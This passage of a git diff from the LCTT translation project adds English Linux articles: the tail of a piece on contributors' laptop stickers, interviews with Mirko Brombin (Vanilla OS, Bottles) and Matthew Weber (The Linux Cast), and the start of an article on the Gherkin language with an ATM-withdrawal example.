Ctrl and CapsLock option in GNOME Tweak Tool][10]. +Finally, I used to peel off Windows stickers, back when my only option was buying computers and paying the Windows tax, and put Linux sticker over the gummy patch. Same with keyboards that had the Windows logo on the Super key. + +—[Chris Hermansen][11] + +### Mementos + +![StrangeMama's laptop with a Kanopi sticker and various other decals][12] + +The Kanopi sticker is by far my favorite sticker. Not only is it shiny and iridescent, but it's a constant reminder of how amazing this company is to work for. They seriously put their employees first, and they're super mindful in selecting client projects that align with Kanopi's overall company mission and vision. +The Curt V8 sticker is in remembrance of a dear friend. He loved Fords and my husband loves Chevys. The constant fun rivalry resulted in randomly placed Ford and Chevy objects snuck into garages depending on whose house we were at. I smile every time I see this Ford emulated sticker on my laptop, since I live in a Chevy family. +The variety of stickers represents the family adventures that we have been on throughout the years. Date nights, friends, family road trips, scary hiking adventures (Angels Landing), and my youngest's drive to get a police sticker from every city and state. + +—[Kristine Strange][13] + +### Conference swag + +![Cindy William's laptop with various decals including a Kanopi sticker and Glimore Girls decals][14] + +The dragon is [my college mascot][15]. I also have some Gilmore Girls and coffee stickers. + +Here’s a photo of my daughter’s door, filled with stickers I’ve brought back from conferences over the years. + +![Cindy William's daughter's door covering tale to stern with decals from various WordPress and Drupal Camps][16] + +—[Cindy Williams][17] + +### Sticking with chicken + +This is my not-work laptop. My work laptop is basically being covered in a honeycomb of hex-shaped stickers of our products, open source projects I use and support, and at least one Opensource.com hexagon. :) + +I can’t pick a favorite, since they are all favorites, or I wouldn’t have them on the laptop that goes with me everywhere. I am overly fond of the chickens, the Raven, and Sergi the Cat with his knives. + +![Kevin Sonney's laptop with various decals][18] + +![Kevin Sonney's laptop with various decals][19] + +—[Kevin Sonney][20] + +### Foodie fun + +I used to load up my laptops with stickers. The one I bought last year filled up fast: + +![DJ Billings' laptop with various decals including a muffin][21] + +My favorite is the cupcake & donut one because I illustrated it. +I just bought a [System76][22] Darter Pro laptop and I love it. I got a bunch of really cool stickers with it, but I've been hesitant to put them on the laptop. I don't know why. + +—[DJ Billings][23] + +### Keeping it clean + +![Don Watkins' laptop with opensource.com and Red Hat stickers][24] + +I don’t put a lot of stickers on my laptops but I’ve got my two favorites on my current laptop, which is System76 Darter Pro. + +—[Don Watkins][25] + +### Life's essentials + +![Katie Sanders' laptop and Yeto mug with decals][26] + +I included my water bottle, too. I think I like those stickers even more. +Beer, dogs, music, croissants. What else could I need in life? + +—[Katie Sanders][27] + +### My mantra + +![Faye Polson's laptop with "yeet or be yeeted" decal][28] + +My favorite sticker is **yeet or be yeeted**. + +—[Faye Polson][29] + +### Garlic + +![Tiffany Bridge's laptop with movie, WordPress, and garlic decals][30] + +Most of the stickers are professional, but the **Greetings from Hamunaptra, City of the Dead** sticker is a subtle reference to one of my favorite movies, **The Mummy** (1999) starring Brendan Fraser and Rachel Weisz. + +The flags and the **Blackbeard’s Bar & Grill** stickers are references to **Our Flag Means Death**, which I am completely obsessed with. +And the garlic is the Cosmic Garlic sticker of my friend's shop. Garlic is a folk remedy for all kinds of diseases, so it seemed like a good thing to put on a laptop during a pandemic. + +—[Tiffany Bridge][31] + +### Open source projects + +![Seth Kenlon's laptop with various linux and open source decals][32] + +I usually cover my laptop with projects I use, contribute to, or admire. Statistically, my laptop should be layered with a lot more stickers by now. I haven't been to a tech conference in three years, so the pace has been slower than usual. + +—[Seth Kenlon][33] + +### Decked out in Drupal + +![April's laptop features several Drupal stickers.][34] + +I add stickers that represent me in tech. So I include organizations I'm a part of, events I've attended, and projects I support. +It's always fun to see the Drupal bear on people’s laptops since I designed it. +Notice all of my stickers are on a laptop cover for preservability. + +—[April Sides][35] + +### Wild about WordPress + +![Michelle Frechette's laptop with misc WordPress and Wapuu decals][36] + +My favorite is hard to pick, but probably the **Michelle wapuu**! She’s so me! + +The stickers **I press all the words** and **WordPress is my super power** are from WordCamp Rochester, so those are near and dear to me. + +Basically, I’ll add a sticker if I have a history with it (I spoke at the camp, for example), or I just like it! + +—[Michelle Frechette][37] + +### An eye for art + +![Dagger McJagger's Laptop with misc Drupal and open source decals][38] + +I heavily lean towards art stickers. Seeing art on my computer reminds me of the people I know and experiences I’ve had while using this computer. + +My favorite is the sad-face Midsommar sticker that my partner gave me. After seeing the movie for the first time, we stood outside the theater discussing it for hours into the night. We still reference it to this day. + +—[Jonathan Daggerhart][39] + +### Custom skin + +![Sallie Goetsch's laptop with a custom goddess Ereshkigal skin][40] + +I got a new travel laptop in 2019, and it remains pristine because I have not been to any events since then. My work laptop has a custom skin of the goddess Ereshkigal, after whom I named the computer. + +—Sallie Goetsch + +### GNU Emacs + +![Sachin Patil's laptop with only one sticker][41] + +A GNU Emacs sticker. + +—[Sachin Patil][42] + +### Opensource.com + +After seeing everyone's responses, and maybe getting some cool stickers in the mail from a very brilliant community manager... + +OK, OK, I give! AmyJune, Don, and Sachin convinced me to put ONE sticker on my laptop. + +Here's a photo showing my laptop with its singular sticker: + +![Chris Hermansen's laptop with an opensource.com sticker on it][43] + +—Chris Hermansen + +### Stickers and open source + +You don't have to adorn your computer with stickers. It's not required, and it certainly doesn't mean you love open source more or less than anybody else. But if you love an open source project, there's a good chance that it's got a sticker you can use to decorate your computer (or your door, water bottle, or USB microphone). Rest assured that if you love open source and you love stickers, there's a strong intersection between the two! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/11/laptop-stickers + +作者:[AmyJune Hineline][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/amyjune +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/2022-11/amyjune-laptop.webp +[2]: https://www.drupal.org/files/cta/graphic/drupal%208%20logo%20isolated%20CMYK%2072_1.png +[3]: https://opensource.com/users/amyjune +[4]: https://opensource.com/sites/default/files/2022-10/Alan%20F..webp +[5]: https://opensource.com/users/alanfdoss +[6]: https://opensource.com/sites/default/files/2022-10/%20Rikard%20Grossman-Nielsen-1.webp +[7]: https://opensource.com/users/rikardgn +[8]: https://opensource.com/sites/default/files/2022-10/%20John%20%27Warthog9%27%20Hawley%20.webp +[9]: https://opensource.com/users/warthog9 +[10]: https://opensource.com/article/18/11/how-swap-ctrl-and-caps-lock-your-keyboard +[11]: https://opensource.com/users/clhermansen +[12]: https://opensource.com/sites/default/files/2022-10/kristine.webp +[13]: https://opensource.com/users/strangemama +[14]: https://opensource.com/sites/default/files/2022-10/cindy%20williams.webp +[15]: https://www.uab.edu +[16]: https://opensource.com/sites/default/files/2022-10/cindy%20duaghter%20door.webp +[17]: https://opensource.com/users/cindytwilliams +[18]: https://opensource.com/sites/default/files/2022-10/%20Kevin%20Sonney%20.webp +[19]: https://opensource.com/sites/default/files/2022-10/%20Kevin%20Sonney%202.webp +[20]: https://opensource.com/users/ksonney +[21]: https://opensource.com/sites/default/files/2022-10/DJ_laptop-stickers.webp +[22]: https://opensource.com/article/19/5/system76-secret-sauce +[23]: https://opensource.com/users/itsjustdj +[24]: https://opensource.com/sites/default/files/2022-10/don%20watkins.webp +[25]: https://opensource.com/users/don-watkins +[26]: https://opensource.com/sites/default/files/2022-10/Katie%20Sanders.webp +[27]: https://enterprisersproject.com/user/katie-sanders +[28]: https://opensource.com/sites/default/files/2022-10/faye3.webp +[29]: https://twitter.com/faye_polson +[30]: https://opensource.com/sites/default/files/2022-10/tiffany_0.webp +[31]: https://tiff.is/ +[32]: https://opensource.com/sites/default/files/2022-10/seth-laptop.webp +[33]: https://opensource.com/users/seth +[34]: https://opensource.com/sites/default/files/2022-11/april.webp +[35]: https://opensource.com/users/weekbeforenext +[36]: https://opensource.com/sites/default/files/2022-10/Michelle%20Fre.webp +[37]: https://meetmichelle.online +[38]: https://opensource.com/sites/default/files/2022-10/Dagger%20McJagger.webp +[39]: https://opensource.com/users/daggerhart +[40]: https://opensource.com/sites/default/files/2022-10/Ereshkigal%20laptop%20skin.webp +[41]: https://opensource.com/sites/default/files/2022-10/psachin.webp +[42]: https://opensource.com/users/psachin +[43]: https://opensource.com/sites/default/files/2022-10/%20chris%20hermansen%20.webp diff --git a/sources/talk/20221206.2 ⭐️⭐️ 'Don't be Afraid to Contribute' Mirko Brombin Talks about Vanilla OS and Other Future Projects.md b/sources/talk/20221206.2 ⭐️⭐️ 'Don't be Afraid to Contribute' Mirko Brombin Talks about Vanilla OS and Other Future Projects.md new file mode 100644 index 0000000000..afe4c238a8 --- /dev/null +++ b/sources/talk/20221206.2 ⭐️⭐️ 'Don't be Afraid to Contribute' Mirko Brombin Talks about Vanilla OS and Other Future Projects.md @@ -0,0 +1,155 @@ +[#]: subject: "'Don't be Afraid to Contribute': Mirko Brombin Talks about Vanilla OS and Other Future Projects" +[#]: via: "https://news.itsfoss.com/interview-mirko-brombin/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +'Don't be Afraid to Contribute': Mirko Brombin Talks about Vanilla OS and Other Future Projects +====== + +A conversation with Mirko Brombin, founder of Vanilla OS and Bottles creator. + +!['Don't be Afraid to Contribute': Mirko Brombin Talks about Vanilla OS and Other Future Projects][1] + +There are many interesting personalities in the Linux and open-source world. + +We aim to interact with them and share their stories/thoughts with you. While we did a few interviews in 2021, we are resuming the mission to share insightful conversations with amazing folks in our open-source and Linux universe. + +[Mirko Brombin][2] is one such cool guy 😎 He works as a UX designer full-time, and despite doing all that, he is involved with open-source projects that we admire! + +If you did not know, he is the creator of **[Bottles][3]** (an app to run Windows apps/games on Linux) and **[Vanilla OS][4]**'s founder. + +So, I asked a couple of questions to provide details about his **projects**, his **work/life**, and some **valuable tips** for our readers who want to join the open-source community. + +**Q.** _**Many people think that we have more than enough distros. Why Vanilla OS?**_ + +![vanilla os][5] + +**A:** It is because this one is 10x faster and safer than all the others! Just kidding. **Vanilla OS was born mainly out of a need of mine and a desire to experiment**. I have been a Linux user for many years and have tried many distributions. They always suffered from the lack of certain features and concepts that led me to compulsively distro-hop. In recent years I have been a happy user of Silverblue, a distribution that made me explore the benefits of immutable systems. + +Silverblue is a fantastic project. It's one of the most solid distributions I have tried. However, it does not fully meet my needs. Maintaining Bottles often requires me to play games for testing purposes, and having an NVIDIA GPU, I have had quite a few problems with Silverblue, from driver installation to constant driver breakage and a distinctly noticeable drop in performance. Let's be clear, **NVIDIA is a problem in every distribution** but there is much that can be done to improve the quality of life for users using these GPUs, such as guiding driver installation, pre-configuring the setup for Optimus (Integrated+Dedicated) laptops, and allowing PRIME profile switching in an easy way. To date, only Ubuntu and derivatives have been pre-configured for this workflow. + +![nvidia illustration][6] + +My problem with Ubuntu-based distributions is that they do not offer an experience compatible with my needs either. **I am a devoted GNOME user**, I fully endorse the user experience envisioned by GNOME, and I am completely addicted to it. + +I understand the need for **Ubuntu, Pop!_OS,** and others to provide their own vision and branding, but these modifications are deal breakers for me and probably for many users. GNOME designers and developers are professionals that have been working in this industry for countless years, perfecting their vision, but many distributions change the workflow in ways that I cannot use my systems effectively. + +**Another problem with Ubuntu is that it does not offer immutability and atomicity of transactions**, two mechanisms that make the system solid and safe from easy breakage, for example, when an update goes wrong. + +![solving ubuntu problems][7] + +Adding up all those shortcomings and my passion for throwing myself into increasingly complex projects, I decided to create **Vanilla OS, an Ubuntu-based distribution, with a stock GNOME desktop** and all the merits of immutability and atomicity. + +**Q.****_Some of your projects, like Bottles and the upcoming Vanilla OS, are immensely popular. Do you have other project ideas for the future?_****A:** I have a long list of projects that I would like to accomplish in the future, but my next goal is to develop and contribute to a project idealized by @[TheEvilSkeleton][8]: a **utility to configure MangoHud, an overlay that displays useful information about game FPS, temperatures, CPU/GPU load and more**. + +With this new project, we plan to integrate it in Bottles and provide a graphical interface to customize MangoHud parameters. Similarly, we did the same thing for vkBasalt with vkbasalt-cli. + +**_Q. There will always be a new distro, even if some of us would rather not see more. When I tried out Vanilla OS, it did not feel like “just another distro” but with a unique angle to it._****_So, what’s your near future plan with Vanilla OS?_****A:** My future plan for Vanilla OS is **to make the project sustainable so that I can work on it full-time**. This is more of a dream in my drawer but, who knows. + +I have many ideas that I'll share on social media eventually. Something I can tell you now is that one of my dreams is to see Vanilla OS on multiple platforms like desktops, mobile, and tablets. I want to create an environment with an Apple-like continuity, without the scamming, as the **user experience is always the main focus for me.** + +Q. _**Bottles is a fantastic tool to help users run Windows software on Linux in a few clicks. Various other tools like Heroic Games Launcher have been trying to make things easy for Windows users to play their favorite games on Linux easily.**__**How do you think that’s going? Do you have any stats to share about that through Bottles?**_**A:** Heroic is a project that I admire and follow closely. I am friends with [Flavio][9] (the founder) and [Linguin][10] (one of the developers), and I know how hard the whole team is working to make the gaming experience on Linux more and more fulfilling, so **a Hooray! for Heroic**. + +![Heroic Games launcher][11] + +**Bottles** is like a son to me, I have raised him at my best, and he is giving me a lot of satisfaction. Recently I had to decrease my presence in the project to focus on others and my daily job. This has been possible thanks to a team of contributors who have joined over time, people who share the same vision of the project as I do and cherish its ideals. + +![bottles screenshot][12] + +The structure of the project is changing radically. Initially, I was the one making every decision, whereas now everything is discussed and put to a vote, trying to get a shared verdict. In this, it is like watching a son grow up and make his own decisions, aware of what I have taught him over time. + +**Release 2022.11.14**, is the first release entirely developed by the Bottles team. One of the best releases ever in my opinion. For this, I have to give special thanks to @**TheEvilSkeleton,** who led the release, and [noëlle][13], who made the graphics part. + +A small milestone I would like to share with you is the **achievement of 400,000+ downloads from Flathub.** 🎉 + +![Bottle download stats][14] + +_**Q. If someone gets interested in contributing to any one of your projects. What advice would you give them? What programming language should they focus on if they want to collaborate with you?**_**A:** My advice is not to be afraid to contribute and ask questions, even if it's a "bad" question. Even if you are afraid. There is no such thing as a bad contribution. A well-written ticket is already a great way to do your part. Personally, I don't give weight to contributions, I give credit to those who have spent much more time certainly, but for me, every single contribution is a small brick that helps the project grow. + +**I mostly use Python and Go** for my projects but I would not make it a requirement. If a user wants to help with Vanilla OS, for example by making an application we need, well, they can use whatever language they like. + +![python programming][15] + +The only thing I would ask is to carefully consider the language and choose the one best suited for the type of project you need to create, as the choice will affect who can contribute (or not), for example, I would never choose Rust for a small tool, as Rust is not an easy language for newcomers and new contributors typically contribute to smaller projects that are written in user-friendly languages. + +_**Q. Other than your creations, what other project or distro would you mention as one of your favorites?**_**A:** I have many projects that I would like to mention here, but it would become a season of Vikings. Among all of them, the one that, in my opinion, deserves mention is **Distrobox, a project made by** [Luca di Maio][16]**, a friend of mine as well as an active member in the making of the Vanilla OS project.** + +Distrobox is a tool that installs Linux distributions inside managed containers integrated with the system, allowing, for example, to install and run software in a Fedora container while running Ubuntu, integrating it seamlessly with the host system. + +Distrobox is also employed by Apx, the Vanilla OS package manager. Every package installed through Apx resides in the Distrobox container, keeping the system safe from any discrepancies or breaks from a possible update gone wrong. + +_**Q. How do you keep up with all the projects you’re working on? What’s your mantra on productivity or time management?**_**A:** Contrary to what you may think, I don't work much on my projects, my daily job takes a lot of my time, and I have many other passions to cultivate. + +![productivity][17] + +I don't have any particular time management or organization; normally I try to stay focused on my projects by reasoning about them in my spare time and taking notes, so as soon as I get back to work on a project, I already have a clear idea of what I need to do. + +_**Q. You are also a GNOME Foundation member. What’s it like being a GNOME foundation member? Can anyone apply to be a part of it?**_**A:** I am still a very recent member and I don't have much to say, except that it is wonderful to be inside the project that I absolutely love and respect the most, as it has changed the way I use my PC, with a workflow designed to be free of distractions and where everything is intuitive and immediate; in short, where the user experience is always first. + +Anyone can apply, as long as they are an active person with demonstrable contributions. + +**_Q. As a GNOME foundation member, what do you think GNOME should improve compared to the KDE Plasma side?_****A:** I don't want to sound brash but I think **GNOME is currently complete as it is**. I've seen it grow since the beginning and I know how many steps have been taken since GNOME 2 and 3, I'm sure many more are to come but **right now I can't find a lack in comparison to KDE**. + +![gnome user][18] + +I know at this point someone is saying "_Eh but KDE has themes and a setting for this and that._" and I agree, it is a fact that KDE is the most customizable desktop environment of all, but you have to understand that GNOME doesn't implement all these settings because the whole thing is designed to provide a single, but efficient, user experience. Providing a setting to change every single aspect of it is more of an invitation for the user to do so, feeding bug reports for a different experience than designed. + +It is important to understand that more customization inevitably leads to more discrepancies and bugs, as all components of the system are meant to work in a certain way, and altering them takes you out of the testing environment that is used in GNOME. + +**_Q. What do you like to do in your spare time?_** + +![world history and podcast][19] + +**A:** In my free time, I love to **write recipes** or listen to the **world's history podcasts**. + +10-yo Mirko would find me boring, haha 😁 + +_**Q. A message to our readers (to inspire them/add a tip that you always wanted to share, etc)**_ + +![dialogue is good][20] + +**A:** Don't be afraid to contribute or speak. I often find that someone has a great idea to solve a problem and has never told anyone because of the fear that it was wrong. Let's be clear that a contribution is something to improve and is therefore always welcome. + +Certainly, not all ideas are feasible or correct but dialogue is a great way to find out. + +Don't be shy; come on! + +> 💭 Share your thoughts on the interview and if you want us to talk to your favorite open-source/Linux creator, feel free to mention them in the comments. + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/interview-mirko-brombin/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2022/12/interview-with-mirko-brombin.png +[2]: https://mirko.pm +[3]: https://usebottles.com +[4]: https://vanillaos.org +[5]: https://news.itsfoss.com/content/images/2022/12/vanillaos.jpg +[6]: https://news.itsfoss.com/content/images/2022/12/nvidia.png +[7]: https://news.itsfoss.com/content/images/2022/12/ubuntu.png +[8]: https://github.com/TheEvilSkeleton +[9]: https://github.com/flavioislima +[10]: https://github.com/imLinguin +[11]: https://news.itsfoss.com/content/images/2022/12/Heroic_2.jpg +[12]: https://news.itsfoss.com/content/images/2022/12/bottle-creation-dark.png +[13]: https://github.com/jannuary +[14]: https://news.itsfoss.com/content/images/2022/12/download-milestone.png +[15]: https://news.itsfoss.com/content/images/2022/12/python.png +[16]: https://github.com/89luca89 +[17]: https://news.itsfoss.com/content/images/2022/12/productivity.png +[18]: https://news.itsfoss.com/content/images/2022/12/gnome-1.png +[19]: https://news.itsfoss.com/content/images/2022/12/history-1.png +[20]: https://news.itsfoss.com/content/images/2022/12/dialogue.png diff --git a/sources/talk/20230117.2 ⭐️⭐️ Making Content that Resonates An Interview with 'The Linux Cast' Creator, Matthew Weber.md b/sources/talk/20230117.2 ⭐️⭐️ Making Content that Resonates An Interview with 'The Linux Cast' Creator, Matthew Weber.md new file mode 100644 index 0000000000..ace76eb40f --- /dev/null +++ b/sources/talk/20230117.2 ⭐️⭐️ Making Content that Resonates An Interview with 'The Linux Cast' Creator, Matthew Weber.md @@ -0,0 +1,147 @@ +[#]: subject: "Making Content that Resonates: An Interview with 'The Linux Cast' Creator, Matthew Weber" +[#]: via: "https://news.itsfoss.com/interview-matthew-weber/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Making Content that Resonates: An Interview with 'The Linux Cast' Creator, Matthew Weber +====== + +A conversation with Matthew Weber, the mastermind behind 'The Linux Cast' YouTube channel. + +![Making Content that Resonates: An Interview with 'The Linux Cast' Creator, Matthew Weber][1] + +If you have been following us, you probably know that we promised to interact with interesting personalities in the Linux and open-source world. + +Here, we have Matthew, a **content creator** known for his "[**The Linux Cast**][2]" YouTube channel. + +He creates podcasts and YouTube videos related to Linux, covering news and other exciting stuff. + +As a fellow content creator, **I find his content very insightful** 🤓 + +We asked him a couple of questions that **should help Linux users and content creators in the Linux/Open-Source space gain some insights** from someone with an excellent level of experience. + +**Q. The Linux Cast is an informative YouTube channel that we all love. What inspired you to start it?** + +![thelinuxcast youtube channel][3] + +**A:** My friend Ricky and I have been podcasting along with our friend Vince since **2009**. In 2017 we decided that we were going to switch to Linux and start a podcast. Ricky works in IT and has way more Linux know-how than I did at the time, so we thought it’d be **fun to start a podcast and see how it went**. We didn’t stick with it, doing only a few episodes in seasons 2017 and 2018. + +In about July or August 2020, bored because of the pandemic, I visited the anchor page for the podcast and found to my surprise, that people were listening to it, each of our old episodes has hundreds of listens. + +So, I decided to start it back up again. I found a new co-host in Martin and carried on. In **September 2020**, I decided **I’d start making a few YouTube videos to go along with the podcast**. That’s why the YouTube Channel exists. + +It was started to host the podcast, and I threw some really, really bad videos up to see if I could draw in listeners. And then it just kind of took off. + +**Q. Apart from The Linux Cast, what else do you do Linux-wise?** + +**A:** I’m beginning to **learn Python**, which has been fun. I also have started to **care more about privacy lately**, so I’ve been working on interesting FOSS-related ways of tackling that problem as well. + +12 Simple Tools to Protect Your PrivacyQuick ways to enhance online privacy? Use these simple tools to take control of your data easily.![][4]It's FOSSAnkush Das![][5] + +**Q. Do you have any other plans that you want to share with our readers for your channel/blog?** + +![youtube illustration][6] + +My main goal for the channel is just to keep getting better at making videos. It sounds kind of lame, but I do want to improve the production quality while retaining the style that I have. I can’t script a video to save my life, so I know that’s not in the cards, but I’d like to just improve at video making. I’d also like to live stream more. I’ve done that in the past, but as a New Year’s resolution, I’ve decided to start my Sunday night streams up again. + +‘Don’t be Afraid to Contribute’: Mirko Brombin Talks about Vanilla OS and Other Future ProjectsA conversation with Mirko Brombin, founder of Vanilla OS and Bottles creator.![][7]It's FOSS NewsAnkush Das![][8] + +**Q. I noticed that you love i3 window manager. For someone new to the concept, what tip would you give to get them started? And why do you think they should give it a try?** + +**A:** Tiling window managers aren’t for everyone, butI think everyone should try one at least once (after all, how do you know you don’t like it unless you try?). If you, dear reader, **find yourself wanting to use the keyboard to navigate Linux, a tiling window manager is probably a good choice.** + +Now as for why i3 itself is great, I like it because I’ve spent so much time in it and I have spent most of my time configuring it. That means I have all the keybindings and such just the way I like them and everything is properly customized just to my liking.It has taken ages to get here, but it’s a fun process. **i3wm is great because it’s not fussy like DWM or Xmonad (both are coded and configured in actual programming languages, which makes them harder to configure)**, and it’s not as odd as something like bspwm. It’s simple and has just enough features to make it good. + +![][9] + +As for a tip? Would it be rude to say **watch my videos on i3**? Probably. My best tip for anyone wanting to get into i3 (or any tiling window manager, really), is to **try it in a VM first**. Get it installed and start to customize. Don’t give up when you hit the first problem; push through and make it yours. + +The best part about i3 and other window managers is that you can customize them in an infinite number of ways. Linux fans love to claim that Linux is all about customization, but **until you’ve used a window manager, you’ve never really experienced that freedom**. + +**Q. For someone who switched from Arch to Fedora, what would you suggest for someone deciding between the two?** + +![arch fedora illustration][10] + +**A:****Try both. I preach this all the time**, but the distro I use should make no difference on the distro you choose. I have a hardware setup that is different than yours, and yours is different than someone else’s. That means that every distro is going to run differently on your hardware. + +As for Arch VS. Fedora, the big difference comes down to package managers and versioning of software. **Arch will have slightly newer software than Fedora**, and it has the AUR. Fedora is a more traditional release-based distro, but it still has newer software than something like Debian. + +Getting Started With FedoraCollection of useful tutorials for new Fedora users.![][11]It's FOSSAbhishek Prakash![][12] + +So, choosing between them really comes down to answering two questions: **do you need the latest software and do you need the AUR? This is why I say try both** because you need to experience the AUR before you can decide if you like it or not. + +But mostly, **Fedora is easier to use, and I think it’s slightly more stable than Arch**, which is why I've chosen it as my daily driver. + +**Q. What are your thoughts on “the year of Linux desktop” for 2023?** + +![year of linux desktop][13] + +**A:** 2022 was the year of the Linux Desktop. Last year was the year when Linux made it, and it’s all because of the Steam Deck. Linux is never going to compete with Windows in tems of market share. But it arrived last year as a consumer product for the first time (unless you count Android, which I do not). + +I think 2023 will just be a continuation of that. Slow and steady growth. That’s where it’s at. Anyone wanting an explosion of people using Linux on the Desktop is and always has been asking for disappointment. + +**Q. With a blog, YouTube channel, podcast, and writing, how do you manage your time or remain productive?** + +![the linux cast pc setup][14] + +**A: Todo lists and a bullet journal**. I’ve found that if I keep a list of things I have to do, I will get them done. And I ensure that I spend plenty of time doing things for fun and spending time away from my computer. If all I do is work, I get burned out, so really, it’s all about **ensuring that there is a balance there**. + +**Q. What do you do in your spare time?** **A:****Fanfiction and reading books** mostly. I read a ton. I also enjoy watching sports. I’m a **Philadelphia Eagles fan**, a fan of the Golden State Warriors, and I’m an alumnus of Michigan State University, so I cheer for them when it comes to college sports. + +![book sports illustration][15] + +I also spend a terrible amount of time on YouTube. I’m slowly getting this down to a reasonable amount of time, but in the past, I’d definitely spend more time there than I should. + +**Q. How do you see the future as a Linux content creator?** + +**A:** Change is inevitable, but predicting it is hard. I think **we’re going to see more Linux in the world, and that makes me happy as a Linux content creator**. Over the last two years, I’ve seen many people create their own Linux channels and I think that’s great. The more people cover Linux on YouTube and the web in general, the better. + +Obviously, the big thing for all of us in the next year or so is the **continued transition to Wayland**. Most big DEs have gone to it now, which is great. Now it’s going to be the turn of the window manager. We’ll see how all that plays out. + +I also think we’ll see **more and more immutable distros out there, like Silverblue and OpenSuse’s Micro**. That seems to be where Linux is heading, which should make things very interesting for everyone, content creator or not. + +**Q. Is there a message you would like to give our readers who aim to work in the Linux/Open-Source space as a content creators?** + +![message to readers illustration][16] + +**A:** The hardest part is starting. **Don’t let dreams of being DistroTube, Chris Titus, or The Linux Experiment stop you from continuing once you start**. If you start making videos, those first few months or even years can be rough, especially if you look at those big guys and compare your subscriber count to theirs. It isn’t a competition. + +The thing that I’ve learned if I’ve learned anything, is that **consistency in posting is the best thing you can do**. Post on a predictable schedule (I did every day for a long time, but two or three times a week will work too). The more you post, the better you’ll be (though don’t do more than one a day). + +And finally, **don’t do it if you’re not having fun doing it**. Not many YouTubers can make this a full-time job, so if you’re doing it for the money, then you shouldn’t do it. Being able to be that successful is very much like winning the lottery; it probably isn’t going to happen. So do it for fun. Do it on a schedule that you can keep up long term and still keep it fun. **Make content that you enjoy**, because then others will enjoy it too. If you remember to keep it fun, the viewers will come. + +> 💭 Share your thoughts on the interview and if you want us to talk to your favorite open-source/Linux creator, feel free to mention them in the comments. + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/interview-matthew-weber/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2023/01/interview-with-the-linux-cast.png +[2]: https://www.youtube.com/@TheLinuxCast +[3]: https://news.itsfoss.com/content/images/2023/01/thelinuxcast.jpg +[4]: https://itsfoss.com/content/images/size/w256h256/2022/12/android-chrome-192x192.png +[5]: https://itsfoss.com/content/images/wordpress/2022/02/privacy-tools-ft.jpg +[6]: https://news.itsfoss.com/content/images/2023/01/youtube-illustration-1.png +[7]: https://news.itsfoss.com/content/images/size/w256h256/2022/08/android-chrome-192x192.png +[8]: https://news.itsfoss.com/content/images/2022/12/interview-with-mirko-brombin.png +[9]: https://news.itsfoss.com/content/images/2023/01/linux-i3wm--1-.png +[10]: https://news.itsfoss.com/content/images/2023/01/arch-fedora-illustration-1.png +[11]: https://itsfoss.com/content/images/size/w256h256/2022/12/android-chrome-192x192.png +[12]: https://itsfoss.com/content/images/2023/01/fedora-tutorials.png +[13]: https://news.itsfoss.com/content/images/2023/01/year-of-linux-desktop-2023.png +[14]: https://news.itsfoss.com/content/images/2023/01/linux-cast-setup.png +[15]: https://news.itsfoss.com/content/images/2023/01/sports-book-hobby.png +[16]: https://news.itsfoss.com/content/images/2023/01/message-to-readers.png diff --git a/sources/talk/20230207.3 ⭐️ How the Gherkin language bridges the gap between customers and developers.md b/sources/talk/20230207.3 ⭐️ How the Gherkin language bridges the gap between customers and developers.md new file mode 100644 index 0000000000..a07e80a09d --- /dev/null +++ b/sources/talk/20230207.3 ⭐️ How the Gherkin language bridges the gap between customers and developers.md @@ -0,0 +1,91 @@ +[#]: subject: "How the Gherkin language bridges the gap between customers and developers" +[#]: via: "https://opensource.com/article/23/2/gherkin-language-developers" +[#]: author: "David Blackwood https://opensource.com/users/david-blackwood" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +How the Gherkin language bridges the gap between customers and developers +====== + +Communicating with software developers can often be a burdensome task, especially when people lack technical knowledge and technical vocabulary. This is why project managers often use [user stories][1] and the versatile system metaphor_._ + +You can assist communication further by utilizing technology designed to facilitate discussions between a project's stakeholders and developers. + +### The Cucumber framework + +Cucumber is an open source framework that enables the creation of automated software tests using an easy-to-write and common language_._ It's based on the concept of [behavior-driven development (BDD)][2], which dictates that creating software should define how a user wants an application to behave when specific conditions are true. + +The Cucumber framework isn't "technology" in the modern sense. It's not a collection of bits and bytes. Instead, it's a way of writing in natural language (English, in the case of this article, but so far Gherkin has been translated to over 70 languages). When using the Cucumber framework, you aren't expected to know how to read or write code. You only need to be able to write down ideas you have about how you work. You should also document how you want technology to work for you, using a set of specific terms and guidelines. + +### What is the Gherkin language? + +Cucumber uses Gherkin as a means to define use cases. It's primarily used to generate unambiguous project requirements_._ In other words, its purpose is to allow users to describe precisely what they require software to do, leaving no room for interpretation or exception. It helps you think through the process of a transaction with technology and then helps you write it down in a form that translates into programmer logic. + +Here's an example: + +``` +Feature: The Current Account Holder withdraws money +Scenario: The account in question is not lacking in funds +Given that the account balance is £200 +And the debit card is valid +And the cash machine contains enough money +When the Current Account Holder requests £50 +Then the cash machine dispenses £50 +And the account balance is £150 +And the debit card is returned +``` + +As you can see, this 